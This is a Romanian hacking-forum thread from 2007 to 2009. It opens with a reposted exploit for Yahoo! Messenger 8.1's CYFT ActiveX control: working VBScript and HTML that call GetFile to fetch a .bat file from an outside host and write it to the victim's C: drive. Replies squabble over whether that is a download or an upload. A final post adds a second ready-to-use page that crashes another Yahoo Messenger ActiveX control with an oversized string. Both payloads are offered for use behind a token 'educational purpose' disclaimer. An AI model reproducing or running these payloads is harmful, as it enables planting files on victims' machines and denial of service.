nullbyte Posted September 19, 2007 Report Posted September 19, 2007 <pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------[b]Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download[/b]url: [url]http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe[/url]Author: shinnaimail: shinnai[at]autistici[dot]orgsite: [url]http://shinnai.altervista.org[/url][b]<font color='red'>This was written for educational purpose. Use it at your own risk.Author will be not responsible for any damage.</font>[/b]Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7[b]Marked as:RegKey Safe for Script: FalseRegkeySafe for Init: FalseKillBitSet: False[/b]From remote: depends by Internet Explorer settingsFrom local: yes[b]Description:This contron contains a "GetFile()" method which allows to download, onuser's pc, an arbitrary file pased as argument.Remote execution depends by Internet Explorer settings, local executionworks very well.[/b][b]greetz to:<font color='red'> skyhole (or YAG KOHHA)</font> for inspiration[/b]-----------------------------------------------------------------------------<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object><input language=VBScript onclick=tryMe() type=button value='Click here to start the test'><script language='vbscript'>Sub tryMetest.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"MsgBox "Exploit completed"End Sub</script></span></span></code></pre> Quote
Ras Posted September 19, 2007 Report Posted September 19, 2007 imi explica si mie cineva ce face acest exploit? ca sa nu mor prost... Quote
nullbyte Posted September 19, 2007 Author Report Posted September 19, 2007 test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai" Teoretic ar trebui sa deschida un cmd cu textul de la acea adresa. Pe IE6 nu merge... Pe IE7 nu am incercat :? Quote
kw3rln Posted September 19, 2007 Report Posted September 19, 2007 ce ai inteles de aici:This contron contains a "GetFile()" method which allows to download, onuser's pc, an arbitrary file pased as argument.Remote execution depends by Internet Explorer settings, local executionworks very well.? Quote
nullbyte Posted September 19, 2007 Author Report Posted September 19, 2007 Eu, personal am inteles, dar nici la scoala nu stau bine cu explicatu' Poate Ras s-a grabit sa citeasca? Quote
Ras Posted September 19, 2007 Report Posted September 19, 2007 Contine "GetFile()" si prin acest "GetFile()" poti sa downloadezi din calculatorul victimei.Remote execution depinde de setarile IE-ului... Quote
nullbyte Posted September 19, 2007 Author Report Posted September 19, 2007 au doamne sunt idiot Quote
moubik Posted September 20, 2007 Report Posted September 20, 2007 Contine "GetFile()" si prin acest "GetFile()" poti sa downloadezi din calculatorul victimei.Remote execution depinde de setarile IE-ului...nu din calculatorul victimei, ci in calculatorul victimei Quote
alien Posted September 20, 2007 Report Posted September 20, 2007 aia e upload nu download... da si eu inteleg la fel. sa uploadezi pe calc victimei un exe si sa-l ruleze. Quote
nobus Posted December 28, 2007 Report Posted December 28, 2007 pute a prostie pe aici nu gluma getfile este ceva de genul wget in linux shi spre disperarea voastra as putea sa il incadrez ca download nu upload deci daca esti prea bata taci shi citeste Quote
nullbyte Posted December 28, 2007 Author Report Posted December 28, 2007 pute a prostie pe aici nu gluma getfile este ceva de genul wget in linux shi spre disperarea voastra as putea sa il incadrez ca download nu upload deci daca esti prea bata taci shi citesteburn in hell Quote
Guest BanKai Posted December 30, 2007 Report Posted December 30, 2007 pute a prostie pe aici nu gluma getfile este ceva de genul wget in linux shi spre disperarea voastra as putea sa il incadrez ca download nu upload deci daca esti prea bata taci shi citestedownload pt victimaupload pentru atacatorsi cum noi suntem atacatorii evident ca va fi numit uploadas apercia sa nu mai flamezi pe forum sau vei fi banat Quote
dynasty Posted January 6, 2008 Report Posted January 6, 2008 pute a prostie pe aici nu gluma getfile este ceva de genul wget in linux shi spre disperarea voastra as putea sa il incadrez ca download nu upload deci daca esti prea bata taci shi citesteCe exemplu prost ai dat. In cazu' asta nu stiu cat de multe are in comun getfile() cu wget. Quote
LLegoLLaS Posted March 25, 2009 Report Posted March 25, 2009 Ce exemplu prost ai dat. In cazu' asta nu stiu cat de multe are in comun getfile() cu wget.lasa-l asa....n desteptaciunea lui Quote
hirosima Posted March 26, 2009 Report Posted March 26, 2009 va las si eu un DOS tot pentru yahoo messenger 8.1:Yahoo Messenger 8.1 (latest) Remote DoSSafe for Scripting, Safe for Initialize<html><body><object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object><script language=vbscript>arg1=String(517140, "A")target.c arg1</script></body></html> Quote
